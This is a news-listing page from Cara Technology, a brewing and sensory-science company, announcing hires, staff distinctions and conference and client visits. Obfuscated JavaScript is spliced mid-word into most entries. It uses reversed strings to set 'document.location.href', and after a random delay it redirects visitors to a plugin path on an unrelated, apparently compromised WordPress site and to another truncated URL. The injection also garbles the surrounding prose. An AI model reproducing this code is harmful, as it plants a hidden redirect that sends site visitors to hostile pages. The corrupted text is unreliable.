Zenia Jappinen joins Cara Technology

IMG_0020






We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that Zenia Jappinen has joined the company as a sensory support specialist. She joins the existing sensory team of Emily Chang and Becki Ford. In her role she will… Read more

AROXA™ attends the 35th European Brewery Convention congress

Delegates at the AROXA™ st$mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and at the European Brewery Convention






On the 24-28 of May this year, the AROXA™ team attended the European Brewery Convention congress in Portobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, Portugal. The 35th biennial conference was held in Portugal for the third time. The European Brewery… Read more

Cara Technology attend the SSG meeting at the IFST

ifst






Last week, Amy Voong from our flavours team attended the annual Sensory Science Group meeting at the Institute of Food Science and Technology. The conference is always a great way tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to keep in contact… Read more

SABECO visit Cara Technology






This week SABECO visited our offices and laboratobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tories in Leatherhead. SABECO are the largest brewing company in Vietnam. They operate around 26 breweries, their products are produced under license in a further 6. So far,… Read more

Theory and Practice of Brewery Hygiene Management training at Efes, Russia






This month, Cara delivered training at for Efes on the theory and practice of brewery hygiene management. Cara Technology has experience of this area, having carried out similar work for other brewing companies, and has offered tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;… Read more

Quality Manager appointed at Cara Technology






We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that Vanesa Bosin has joined us as Quality Manager. She will be responsible for all aspects of quality assurance at Cara, including quality standards, controls and procedures. Before joining… Read more

Amaey Mundkur joins Cara Technology

_P7C7568






We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that Amaey Mundkur has joined our business development team. Amaey started home brewing in Australia in 2003. After graduating with a BSc in genetics and evolutionary biology from The Pennsylvania State… Read more

James Worthington achieves distinction in Sensory Evaluation and Sensory Techniques (PG Cert Sensory Science)






James Worthington has achieved distinction in his Sensory Evaluation and Sensory Techniques module in his PG Cert in Sensory Science. The course is based out of the University of Nottingham, however this particular module was run by Campden BRI. We… Read more

Amy Voong achieves distinction in Sensory Evaluation and Sensory Techniques (PG Cert Sensory Science)






We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that Amy from our flavours team has achieved distinction on her Sensory Evaluation and Sensory Techniques module in her PG Cert on Sensory Science from the University of Nottingham. This… Read more

Emily Chang joins Cara Technology

_P7C7504






We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that Emily Chang has joined the company full time after working as a graduate trainee for 9 months at Cara Technology. She has joined the company in the capacity… Read more